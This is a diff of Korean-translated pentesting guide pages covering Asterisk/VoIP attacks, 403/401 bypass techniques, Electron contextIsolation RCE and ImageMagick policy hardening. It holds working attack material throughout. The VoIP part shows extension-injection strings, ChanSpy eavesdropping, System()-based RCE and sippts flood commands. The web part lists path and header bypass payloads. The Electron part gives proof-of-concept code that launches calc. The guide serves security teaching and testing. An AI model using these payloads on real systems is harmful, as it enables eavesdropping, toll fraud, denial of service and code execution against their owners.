> 게다가 기본적으로 **`sip.conf`** 파일에는 **`allowguest=true`**가 포함되어 있어, **인증 없이** **어떤** 공격자도 다른 번호로 전화를 걸 수 있습니다.
> 게다가 기본적으로 **`sip.conf`** 파일에는 **`allowguest=true`**가 포함되어 있어, **인증 없이** **모든** 공격자가 다른 번호로 전화를 걸 수 있습니다.
- **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite는 **PBX 서버가 인증 없이 전화를 걸 수 있도록 허용하는지 확인합니다**. SIP 서버의 구성이 잘못된 경우, 외부 번호로 전화를 걸 수 있도록 허용합니다. 또한 두 번째 외부 번호로 전화를 전환할 수 있도록 허용할 수 있습니다.
- **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite는 **PBX 서버가 인증 없이 전화를 걸 수 있도록 허용하는지** 확인합니다. SIP 서버의 구성이 잘못된 경우, 외부 번호로 전화를 걸 수 있도록 허용합니다. 또한 두 번째 외부 번호로 전화를 전환할 수 있도록 허용할 수도 있습니다.
예를 들어, Asterisk 서버에 잘못된 컨텍스트 구성이 있는 경우, 인증 없이 INVITE 요청을 수락할 수 있습니다. 이 경우, 공격자는 사용자/비밀번호를 알지 못해도 전화를 걸 수 있습니다.
```bash
@ -400,10 +401,10 @@ IVRS는 **Interactive Voice Response System**의 약자로, 사용자가 음성
VoIP 시스템의 IVRS는 일반적으로 다음으로 구성됩니다:
1. **음성 프롬프트**: 사용자가 IVR 메뉴 옵션 및 지침을 안내받을 수 있도록 하는 미리 녹음된 오디오 메시지입니다.
1. **음성 프롬프트**: 사용자가 IVR 메뉴 옵션과 지침을 안내받을 수 있도록 하는 미리 녹음된 오디오 메시지.
2. **DTMF** (Dual-Tone Multi-Frequency) 신호: 전화 키를 눌러 생성된 터치톤 입력으로, IVR 메뉴를 탐색하고 입력을 제공하는 데 사용됩니다.
3. **통화 라우팅**: 사용자 입력에 따라 특정 부서, 상담원 또는 내선으로 전화를 적절한 목적지로 안내합니다.
4. **사용자 입력 캡처**: 호출자로부터 계좌 번호, 사건 ID 또는 기타 관련 데이터를 수집합니다.
4. **사용자 입력 캡처**: 발신자로부터 계좌 번호, 사건 ID 또는 기타 관련 데이터를 수집합니다.
5. **외부 시스템과의 통합**: IVR 시스템을 데이터베이스나 다른 소프트웨어 시스템에 연결하여 정보를 액세스하거나 업데이트하고, 작업을 수행하거나 이벤트를 트리거합니다.
Asterisk VoIP 시스템에서는 다이얼 플랜 (**`extensions.conf`** 파일)과 `Background()`, `Playback()`, `Read()` 등의 다양한 애플리케이션을 사용하여 IVR을 생성할 수 있습니다. 이러한 애플리케이션은 음성 프롬프트를 재생하고, 사용자 입력을 캡처하며, 통화 흐름을 제어하는 데 도움을 줍니다.
@ -416,10 +417,10 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
이전 예시는 사용자가 **부서를 호출하려면 1을 누르고**, **다른 부서를 호출하려면 2를 누르거나**, **알고 있는 경우 전체 내선 번호를 입력하도록 요청받는** 경우입니다.\
이전 예시는 사용자가 **부서를 호출하려면 1을 누르고**, **다른 부서를 호출하려면 2를 누르거나**, **알고 있는 경우 전체 내선 번호를 입력하도록 요청받는 경우입니다.**\
취약점은 지정된 **내선 길이가 확인되지 않기 때문에 사용자가 5초 타임아웃을 입력하여 전체 번호를 입력할 수 있고, 호출될 수 있다는 점입니다.**
### Extension Injection
### 내선 주입
다음과 같은 내선을 사용하여:
```scss
@ -429,11 +430,11 @@ exten => _X.,1,Dial(SIP/${EXTEN})
```scss
exten => 101,1,Dial(SIP/101)
```
그러나, 만약 **`${EXTEN}`**이 **숫자 이외의 것**을 입력할 수 있게 허용한다면 (구버전 Asterisk와 같이), 공격자는 **`101&SIP123123123`**을 입력하여 전화번호 123123123으로 전화를 걸 수 있습니다. 그리고 그 결과는 다음과 같습니다:
그러나 **`${EXTEN}`**이 **숫자 이외의 것**을 입력할 수 있게 허용한다면(구버전 Asterisk와 같이), 공격자는 **`101&SIP123123123`**을 입력하여 전화번호 123123123으로 전화를 걸 수 있습니다. 그리고 그 결과는 다음과 같습니다:
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
따라서 **`101`** 및 **`123123123`**으로의 호출이 전송되며, 첫 번째 호출만 연결됩니다... 그러나 공격자가 **매치를 우회하는 확장자를 사용**하고 존재하지 않는 경우, 그는 **원하는 번호로만 전화를 주입할 수 있습니다**.
따라서, **`101`** 및 **`123123123`**로의 호출이 전송되며, 첫 번째 호출만 연결됩니다... 그러나 공격자가 **일치하는 항목을 우회하는 확장자를 사용**하지만 존재하지 않는 경우, 그는 **원하는 번호로만 전화를 주입할 수 있습니다**.
## SIPDigestLeak 취약점
@ -443,11 +444,11 @@ SIP Digest Leak는 하드웨어 및 소프트웨어 IP 전화와 전화 어댑
1. IP 전화(피해자)는 어떤 포트(예: 5060)에서 전화를 수신 대기 중입니다.
2. 공격자가 IP 전화에 INVITE를 보냅니다.
3. 피해자 전화가 울리기 시작하고 누군가가 전화를 받고 끊습니다(상대방이 전화를 받지 않기 때문에).
4. 전화가 끊어지면 **피해자 전화가 공격자에게 BYE를 보냅니다**.
3. 피해자 전화가 울리기 시작하고 누군가 전화를 받고 끊습니다(상대방이 전화를 받지 않기 때문에).
4. 전화가 끊어지면, **피해자 전화가 공격자에게 BYE를 보냅니다**.
5. **공격자가 407 응답을 발행**하여 **인증을 요청**하고 인증 챌린지를 발행합니다.
6. **피해자 전화가 두 번째 BYE에서 인증 챌린지에 대한 응답을 제공합니다**.
7. **공격자는 자신의 로컬 머신(또는 분산 네트워크 등)에서 챌린지 응답에 대한 무차별 대입 공격을 수행할 수 있습니다** 및 비밀번호를 추측합니다.
7. **공격자는 자신의 로컬 머신(또는 분산 네트워크 등)에서 챌린지 응답에 대한 무차별 대입 공격을 수행**하고 비밀번호를 추측할 수 있습니다.
- **SIPPTS 유출** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 유출은 많은 SIP 전화에 영향을 미치는 SIP Digest Leak 취약점을 악용합니다. 출력은 SipCrack 형식으로 저장되어 SIPPTS dcrack 또는 SipCrack 도구를 사용하여 무차별 대입 공격을 수행할 수 있습니다.
```bash
@ -498,7 +499,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
Asterisk에서는 **`ChanSpy`** 명령어를 사용하여 **모니터링할 내선**(또는 모든 내선)을 지정하여 진행 중인 대화를 들을 수 있습니다. 이 명령어는 내선에 할당되어야 합니다.
예를 들어, **`exten => 333,1,ChanSpy('all',qb)`**는 **내선 333**으로 **전화**를 걸면 **모든** 내선을 **모니터링**하고, 새로운 대화가 시작될 때마다 (**`b`**) 조용한 모드(**`q`**)로 **듣기 시작**함을 나타냅니다. 우리는 상호작용을 원하지 않기 때문입니다. **`*`**를 눌러서 또는 내선 번호를 입력하여 진행 중인 대화에서 다른 대화로 이동할 수 있습니다.
예를 들어, **`exten => 333,1,ChanSpy('all',qb)`**는 **내선 333**으로 **전화**를 걸면 **모든** 내선을 **모니터링**하고, 새로운 대화가 시작될 때마다 (**`b`**) 조용한 모드(**`q`**)로 **듣기 시작**함을 나타냅니다. 우리는 이에 상호작용하고 싶지 않기 때문입니다. **`*`**를 눌러서 또는 내선 번호를 입력하여 진행 중인 대화에서 다른 대화로 이동할 수 있습니다.
**`ExtenSpy`**를 사용하여 하나의 내선만 모니터링하는 것도 가능합니다.
@ -516,11 +517,11 @@ exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed 취약점
**RTCPBleed**는 Asterisk 기반 VoIP 서버에 영향을 미치는 주요 보안 문제입니다(2017년에 발표됨). 이 취약점은 **VoIP 대화를 전송하는 RTP(Real Time Protocol) 트래픽**이 **인터넷의 누구에 의해 가로채지고 리디렉션될 수 있도록** 허용합니다. 이는 RTP 트래픽이 NAT(네트워크 주소 변환) 방화벽을 통과할 때 인증을 우회하기 때문에 발생합니다.
**RTCPBleed**는 Asterisk 기반 VoIP 서버에 영향을 미치는 주요 보안 문제입니다(2017년에 발표됨). 이 취약점은 **VoIP 대화를 전달하는 RTP(Real Time Protocol) 트래픽**이 **인터넷의 누구에 의해 가로채지고 리디렉션될 수 있도록** 허용합니다. 이는 RTP 트래픽이 NAT(네트워크 주소 변환) 방화벽을 통과할 때 인증을 우회하기 때문에 발생합니다.
RTP 프록시는 두 개 이상의 당사자 간의 RTP 스트림을 프록시하여 RTC 시스템에 영향을 미치는 **NAT 제한**을 해결하려고 합니다. NAT가 있는 경우, RTP 프록시 소프트웨어는 종종 신호를 통해 검색된 RTP IP 및 포트 정보를 신뢰할 수 없습니다(예: SIP). 따라서 여러 RTP 프록시가 **IP 및 포트 튜플을 자동으로 학습하는** 메커니즘을 구현했습니다. 이는 종종 들어오는 RTP 트래픽을 검사하고 들어오는 RTP 트래픽의 출발지 IP 및 포트를 응답해야 할 것으로 표시하는 방식으로 수행됩니다. 이 메커니즘은 "학습 모드"라고 불릴 수 있으며, **어떠한 종류의 인증도 사용하지 않습니다**. 따라서 **공격자**는 **RTP 프록시로 RTP 트래픽을 전송하고** 진행 중인 RTP 스트림의 발신자 또는 수신자를 위해 전송될 RTP 트래픽을 받을 수 있습니다. 우리는 이 취약점을 RTP Bleed라고 부르며, 이는 공격자가 합법적인 사용자에게 전송될 RTP 미디어 스트림을 받을 수 있게 합니다.
RTP 프록시는 두 개 이상의 당사자 간의 RTP 스트림을 프록시하여 RTC 시스템에 영향을 미치는 **NAT 제한**을 해결하려고 합니다. NAT가 있는 경우, RTP 프록시 소프트웨어는 종종 신호(signalling)를 통해 검색된 RTP IP 및 포트 정보를 신뢰할 수 없습니다(예: SIP). 따라서 여러 RTP 프록시가 **IP 및 포트 튜플을 자동으로 학습하는** 메커니즘을 구현했습니다. 이는 종종 들어오는 RTP 트래픽을 검사하고 들어오는 RTP 트래픽의 출처 IP 및 포트를 응답해야 할 것으로 표시하는 방식으로 수행됩니다. 이 메커니즘은 "학습 모드"라고 불릴 수 있으며, **어떠한 종류의 인증도 사용하지 않습니다**. 따라서 **공격자**는 **RTP 프록시로 RTP 트래픽을 전송하고** 진행 중인 RTP 스트림의 발신자 또는 수신자를 위해 전송될 RTP 트래픽을 받을 수 있습니다. 이 취약점을 RTP Bleed라고 부르는 이유는 공격자가 합법적인 사용자에게 전송될 RTP 미디어 스트림을 받을 수 있게 해주기 때문입니다.
RTP 프록시와 RTP 스택의 또 다른 흥미로운 동작은 때때로 **RTP Bleed에 취약하지 않더라도** **모든 출처의 RTP 패킷을 수락하고 전달 및/또는 처리할 수 있다는 것입니다**. 따라서 공격자는 합법적인 미디어 대신 자신의 미디어를 주입할 수 있는 RTP 패킷을 보낼 수 있습니다. 우리는 이 공격을 RTP 주입이라고 부르며, 이는 기존 RTP 스트림에 불법적인 RTP 패킷을 주입할 수 있게 합니다. 이 취약점은 RTP 프록시와 엔드포인트 모두에서 발견될 수 있습니다.
RTP 프록시와 RTP 스택의 또 다른 흥미로운 행동은 때때로 **RTP Bleed에 취약하지 않더라도** **모든 출처의 RTP 패킷을 수락하고 전달 및/또는 처리**한다는 것입니다. 따라서 공격자는 합법적인 미디어 대신 자신의 미디어를 주입할 수 있는 RTP 패킷을 보낼 수 있습니다. 이 공격을 RTP 주입이라고 부르며, 이는 기존 RTP 스트림에 불법적인 RTP 패킷을 주입할 수 있게 해줍니다. 이 취약점은 RTP 프록시와 엔드포인트 모두에서 발견될 수 있습니다.
Asterisk와 FreePBX는 전통적으로 **`NAT=yes` 설정**을 사용하여 RTP 트래픽이 인증을 우회하도록 하여 통화에서 오디오가 없거나 일방향 오디오가 발생할 수 있습니다.
@ -544,14 +545,14 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### RCE
Asterisk에서 어떻게든 **확장 규칙을 추가하고 다시 로드**할 수 있다면(예: 취약한 웹 관리자 서버를 타겟으로 삼아), **`System`** 명령을 사용하여 RCE를 얻는 것이 가능합니다.
Asterisk에서 어떻게든 **확장 규칙을 추가하고 다시 로드**할 수 있다면(예: 취약한 웹 관리자 서버를 타겟으로 삼아), **`System`** 명령을 사용하여 RCE를 얻을 수 있습니다.
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
> [!WARNING]
> If the server is **특정 문자의 사용을 허용하지 않는 경우** in the **`System`** command (like in Elastix), check if the web server allows to **시스템 내에서 파일을 생성할 수 있는지 확인** (like in Elastix or trixbox), and use it to **백도어 스크립트를 생성**하고 then use **`System`** to **실행** that **스크립트**.
> If the server is **특정 문자의 사용을 허용하지 않는 경우** in the **`System`** command (like in Elastix), check if the web server allows to **시스템 내에서 파일을 생성할 수 있는지 확인하고** (like in Elastix or trixbox), and use it to **백도어 스크립트를 생성하고** then use **`System`** to **실행** that **스크립트**.
#### Interesting local files and permissions
@ -569,7 +570,7 @@ There is command called **`Shell`** that could be used **instead of `System`** t
### RTP Injection
It's possible to insert a **`.wav`** in converstions using tools such as **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) and **`rtpmixsound`** (`sudo apt install rtpmixsound`).
It's possible to insert a **`.wav`** in conversations using tools such as **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) and **`rtpmixsound`** (`sudo apt install rtpmixsound`).
Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) to **대화 스캔** (**`rtpscan.pl`**), send a `.wav` to a conversation (**`rtpsend.pl`**) and **소음 삽입** in a conversation (**`rtpflood.pl`**).
@ -577,9 +578,9 @@ Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando
There are several ways to try to achieve DoS in VoIP servers.
- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood sends unlimited messages to the target.
- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood sends unlimited messages to the target.
- `sippts flood -i 10.10.0.10 -m invite -v`
- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping makes a SIP ping to see the server response time.
- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping makes a SIP ping to see the server response time.
- `sippts ping -i 10.10.0.10`
- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP.

42
src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
View File

@ -6,13 +6,13 @@
파일에 접근하기 위해 **다양한 동사**를 사용해 보세요: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
- 응답 헤더를 확인하세요. 유용한 정보가 있을 수 있습니다. 예를 들어, **HEAD에 대한 200 응답**과 `Content-Length: 55`는 **HEAD 동사가 정보를 접근할 수 있음을 의미**합니다. 하지만 그 정보를 유출할 방법을 찾아야 합니다.
- 응답 헤더를 확인하세요. 유용한 정보가 있을 수 있습니다. 예를 들어, **HEAD**에 대한 **200 응답**과 `Content-Length: 55`는 **HEAD 동사가 정보를 접근할 수 있음을 의미**합니다. 하지만 그 정보를 유출할 방법을 찾아야 합니다.
- `X-HTTP-Method-Override: PUT`과 같은 HTTP 헤더를 사용하면 사용된 동사를 덮어쓸 수 있습니다.
- **`TRACE`** 동사를 사용하고, 운이 좋다면 응답에서 유용할 수 있는 **중간 프록시가 추가한 헤더**를 볼 수 있습니다.
## HTTP Headers Fuzzing
- **Host 헤더**를 임의의 값으로 변경하세요 ([여기서 작동했습니다](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- **Host 헤더**를 임의의 값으로 변경하세요 ([여기서 작동한 예](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- [**다른 사용자 에이전트 사용**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)으로 리소스에 접근해 보세요.
- **HTTP 헤더 퍼징**: HTTP 프록시 **헤더**, HTTP 인증 기본 및 NTLM 브루트포스(몇 가지 조합만 사용) 및 기타 기술을 사용해 보세요. 이를 위해 [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) 도구를 만들었습니다.
@ -30,22 +30,22 @@
- `X-ProxyUser-Ip: 127.0.0.1`
- `Host: localhost`
**경로가 보호되어** 있다면, 다음 헤더를 사용하여 경로 보호를 우회해 보세요:
**경로가 보호되어 있는 경우** 이러한 다른 헤더를 사용하여 경로 보호를 우회해 보세요:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
- 페이지가 **프록시 뒤에** 있다면, 아마도 프록시가 개인 정보 접근을 방해하고 있을 수 있습니다. [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **또는** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**를 악용해 보세요.**
- 페이지가 **프록시 뒤에 있는 경우**, 아마도 프록시가 개인 정보 접근을 방해하고 있을 수 있습니다. [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **또는** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**를 악용해 보세요.**
- [**특수 HTTP 헤더**](special-http-headers.md)를 퍼징하여 다양한 응답을 찾아보세요.
- **HTTP 메서드를 퍼징**하는 동안 **특수 HTTP 헤더를 퍼징**하세요.
- **Host 헤더를 제거**하면 보호를 우회할 수 있을지도 모릅니다.
- **HTTP 메서드를 퍼징하는 동안 특수 HTTP 헤더를 퍼징하세요.**
- **Host 헤더를 제거하면 보호를 우회할 수 있을지도 모릅니다.**
## Path **Fuzzing**
만약 _/path_가 차단되었다면:
_if /path_가 차단된 경우:
- _**/**_**%2e/path를 사용해 보세요 _(프록시로 인해 접근이 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). 또한**\_\*\* /%252e\*\*/path (이중 URL 인코딩)를 시도해 보세요.
- **유니코드 우회**를 시도해 보세요: _/**%ef%bc%8f**path_ (URL 인코딩된 문자는 "/"와 같으므로, 다시 인코딩하면 _//path_가 되어 _/path_ 이름 검사를 이미 우회했을 수 있습니다.)
- `/%2e/path`를 사용해 보세요(프록시에서 접근이 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). `/%252e**/path`(이중 URL 인코딩)도 시도해 보세요.
- **유니코드 우회**를 시도하세요: _/**%ef%bc%8f**path_ (URL 인코딩된 문자는 "/"와 같으므로 다시 인코딩하면 _//path_가 되어 _/path_ 이름 검사를 이미 우회했을 수 있습니다.)
- **기타 경로 우회**:
- site.com/secret –> HTTP 403 Forbidden
- site.com/SECRET –> HTTP 200 OK
@ -56,7 +56,7 @@
- site.com/;/secret –> HTTP 200 OK
- site.com/.;/secret –> HTTP 200 OK
- site.com//;//secret –> HTTP 200 OK
- site.com/secret.json –> HTTP 200 OK (루비)
- site.com/secret.json –> HTTP 200 OK (ruby)
- 다음 상황에서 [**이 목록**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt)를 사용하세요:
- /FUZZsecret
- /FUZZ/secret
@ -64,21 +64,21 @@
- **기타 API 우회:**
- /v3/users_data/1234 --> 403 Forbidden
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Unauthorized
- {“id”:111} --> 401 Unauthriozied
- {“id”:\[111]} --> 200 OK
- {“id”:111} --> 401 Unauthorized
- {“id”:111} --> 401 Unauthriozied
- {“id”:{“id”:111\}} --> 200 OK
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON 매개변수 오염)
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (매개변수 오염)
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution)
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
## **Parameter Manipulation**
- **매개변수 값 변경**: **`id=123` --> `id=124`**
- **param 값 변경**: **`id=123` --> `id=124`**
- URL에 추가 매개변수 추가: `?`**`id=124` —-> `id=124&isAdmin=true`**
- 매개변수 제거
- 매개변수 순서 변경
- 특수 문자 사용.
- 매개변수에서 경계 테스트 수행 — _-234_ 또는 _0_ 또는 _99999999_와 같은 값을 제공하세요 (몇 가지 예시 값).
- 매개변수에서 경계 테스트 수행 — _-234_ 또는 _0_ 또는 _99999999_와 같은 값을 제공하세요(몇 가지 예시 값).
## **Protocol version**
@ -87,14 +87,14 @@ HTTP/1.1을 사용하는 경우 **1.0을 사용해 보세요** 또는 **2.0을
## **Other Bypasses**
- 도메인의 **IP** 또는 **CNAME**를 가져와서 **직접 연락해 보세요**.
- 일반 GET 요청을 보내 서버를 **스트레스 테스트**해 보세요 ([이 사람은 Facebook에서 작동했습니다](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- **프로토콜 변경**: http에서 https로, 또는 https에서 http로 변경해 보세요.
- [**https://archive.org/web/**](https://archive.org/web/)에 가서 과거에 해당 파일이 **전 세계적으로 접근 가능했는지** 확인해 보세요.
- 일반 GET 요청을 보내 서버에 **부하를 주어 보세요** ([이 사람은 Facebook에서 작동했습니다](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- **프로토콜 변경**: http에서 https로, 또는 https에서 http로 변경
- [**https://archive.org/web/**](https://archive.org/web/)에 가서 과거에 해당 파일이 **전 세계적으로 접근 가능했는지 확인해 보세요.**
## **Brute Force**
- **비밀번호 추측**: 다음 일반 자격 증명을 테스트해 보세요. 피해자에 대해 아는 것이 있나요? 또는 CTF 도전 이름은 무엇인가요?
- [**브루트 포스**](../../generic-hacking/brute-force.md#http-brute)**:** 기본, 다이제스트 및 NTLM 인증을 시도해 보세요.
- **비밀번호 추측**: 다음 일반 자격 증명을 테스트하세요. 피해자에 대해 아는 것이 있나요? 또는 CTF 도전 이름은 무엇인가요?
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** 기본, 다이제스트 및 NTLM 인증을 시도해 보세요.
```:Common creds
admin admin
admin password

22
src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md
View File

@ -20,7 +20,7 @@ return 1337
}
</script>
```
`SAFE_PROTOCOLS.indexOf`가 항상 1337을 반환하므로, 공격자는 보호를 우회하고 calc를 실행할 수 있습니다. 최종 익스플로잇:
`SAFE_PROTOCOLS.indexOf`를 호출하면 항상 1337을 반환하므로, 공격자는 보호를 우회하고 calc를 실행할 수 있습니다. 최종 익스플로잇:
```html
<script>
Array.prototype.indexOf = function () {
@ -29,16 +29,16 @@ return 1337
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
원본 슬라이드를 확인하여 권한 요청 없이 프로그램을 실행하는 다른 방법을 찾아보세요.
원본 슬라이드를 확인하여 권한 요청 프롬프트 없이 프로그램을 실행하는 다른 방법을 찾아보세요.
코드를 로드하고 실행하는 또 다른 방법은 `file://127.0.0.1/electron/rce.jar`와 같은 경로에 접근하는 것입니다.
다른 코드 로드 및 실행 방법은 `file://127.0.0.1/electron/rce.jar`와 같은 경로에 접근하는 것입니다.
## 예제 2: Discord 앱 RCE
[https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)에서의 예제
프리로드 스크립트를 확인하는 동안 Discord가 `DiscordNative.nativeModules.requireModule('MODULE-NAME')`를 통해 일부 허용된 모듈을 호출할 수 있는 기능을 웹 페이지에 노출한다는 것을 발견했습니다.\
여기서 _child_process_ 모듈과 같이 RCE에 직접 사용할 수 있는 모듈은 사용할 수 없었지만, **JavaScript 내장 메서드를 오버라이드하여 RCE를 달성할 수 있는 코드를 발견했습니다**.
프리로드 스크립트를 확인하는 동안, Discord가 `DiscordNative.nativeModules.requireModule('MODULE-NAME')`를 통해 허용된 모듈을 호출할 수 있는 기능을 웹 페이지에 노출한다는 것을 발견했습니다.\
여기서 _child_process_ 모듈과 같이 RCE에 직접 사용할 수 있는 모듈은 사용할 수 없었지만, **JavaScript 내장 메서드를 오버라이드하고 노출된 모듈의 실행에 간섭함으로써 RCE를 달성할 수 있는 코드를 발견했습니다.**
다음은 PoC입니다. **`RegExp.prototype.test`와 `Array.prototype.join`을 오버라이드하는 동안** devTools에서 "_discord_utils_"라는 모듈에 정의된 **`getGPUDriverVersions` 함수를 호출할 때** **calc** 애플리케이션이 **팝업**되는 것을 확인할 수 있었습니다.
```javascript
@ -52,7 +52,7 @@ DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
```
`getGPUDriverVersions` 함수는 "_execa_" 라이브러리를 사용하여 프로그램을 실행하려고 시도합니다. 다음과 같이:
`getGPUDriverVersions` 함수는 다음과 같이 "_execa_" 라이브러리를 사용하여 프로그램을 실행하려고 시도합니다:
```javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
@ -71,6 +71,12 @@ result.nvidia = { error: e.toString() }
return result
}
```
보통 _execa_는 `nvidiaSmiPath` 변수에 지정된 "_nvidia-smi.exe_"를 실행하려고 하지만, 오버라이드된 `RegExp.prototype.test`와 `Array.prototype.join` 때문에 **인자는 \_execa**\_**의 내부 처리에서 "**_**calc**_**"로 대체됩니다**.
보통 _execa_는 `nvidiaSmiPath` 변수에 지정된 "_nvidia-smi.exe_"를 실행하려고 하지만, 오버라이드된 `RegExp.prototype.test`와 `Array.prototype.join` 때문에 **인수가 _execa_의 내부 처리에서 "**_**calc**_**"로 대체됩니다**.
구체적으로, 인자는 다음 두 부분을 변경하여 대체됩니다.
구체적으로, 인수는 다음 두 부분을 변경하여 대체됩니다.
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
{{#include ../../../banners/hacktricks-training.md}}

12
src/network-services-pentesting/pentesting-web/imagemagick-security.md
View File

@ -4,15 +4,15 @@
자세한 내용은 [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)에서 확인하세요.
ImageMagick은 다재다능한 이미지 처리 라이브러리로, 방대한 옵션과 상세한 온라인 문서의 부족으로 인해 보안 정책 구성에 어려움을 겪습니다. 사용자들은 종종 단편적인 인터넷 소스를 기반으로 정책을 생성하여 잠재적인 잘못된 구성을 초래합니다. 이 라이브러리는 100개 이상의 다양한 이미지 형식을 지원하며, 각 형식은 복잡성과 취약성 프로필에 기여합니다. 이는 역사적인 보안 사건에서 입증되었습니다.
ImageMagick은 다재다능한 이미지 처리 라이브러리로, 광범위한 옵션과 상세한 온라인 문서의 부족으로 인해 보안 정책 구성에 어려움을 겪습니다. 사용자들은 종종 단편적인 인터넷 소스를 기반으로 정책을 생성하여 잠재적인 잘못된 구성을 초래합니다. 이 라이브러리는 100개 이상의 이미지 형식을 지원하며, 각 형식은 복잡성과 취약성 프로필에 기여하며, 이는 역사적인 보안 사건에서 입증되었습니다.
## 더 안전한 정책을 향하여
이러한 문제를 해결하기 위해 [도구가 개발되었습니다](https://imagemagick-secevaluator.doyensec.com/) 이 도구는 ImageMagick의 보안 정책을 설계하고 감사하는 데 도움을 주기 위해 광범위한 연구에 기반하고 있으며, 정책이 강력할 뿐만 아니라 악용될 수 있는 허점이 없도록 하는 것을 목표로 합니다.
## 허용 목록 대 거부 목록 접근 방식
## 허용 목록 대 거부 목록 접근법
역사적으로 ImageMagick 정책은 특정 코더의 접근을 거부하는 거부 목록 접근 방식에 의존했습니다. 그러나 ImageMagick 6.9.7-7에서 이 패러다임이 변화하여 허용 목록 접근 방식이 가능해졌습니다. 이 접근 방식은 먼저 모든 코더의 접근을 거부한 다음 신뢰할 수 있는 코더에게 선택적으로 접근을 허용하여 보안 태세를 강화합니다.
역사적으로 ImageMagick 정책은 특정 코더의 접근을 거부하는 거부 목록 접근법에 의존했습니다. 그러나 ImageMagick 6.9.7-7에서 이 패러다임이 변화하여 허용 목록 접근법이 가능해졌습니다. 이 접근법은 먼저 모든 코더의 접근을 거부한 다음 신뢰할 수 있는 코더에게 선택적으로 접근을 허용하여 보안 태세를 강화합니다.
```xml
...
<policy domain="coder" rights="none" pattern="*" />
@ -33,14 +33,14 @@ ImageMagick은 적절하게 구성되지 않으면 서비스 거부 공격에
```shell
$ find / -iname policy.xml
```
## 시작하기, 제한적인 정책
## A Starter, Restrictive Policy
제한적인 정책 템플릿이 제안되었으며, 이는 엄격한 리소스 제한 및 접근 제어에 중점을 두고 있습니다. 이 템플릿은 특정 애플리케이션 요구 사항에 맞춘 맞춤형 정책 개발을 위한 기준선 역할을 합니다.
보안 정책의 효과는 ImageMagick에서 `identify -list policy` 명령어를 사용하여 확인할 수 있습니다. 또한, 앞서 언급한 [evaluator tool](https://imagemagick-secevaluator.doyensec.com/)을 사용하여 개별 요구 사항에 따라 정책을 개선할 수 있습니다.
## 참고 문헌
## References
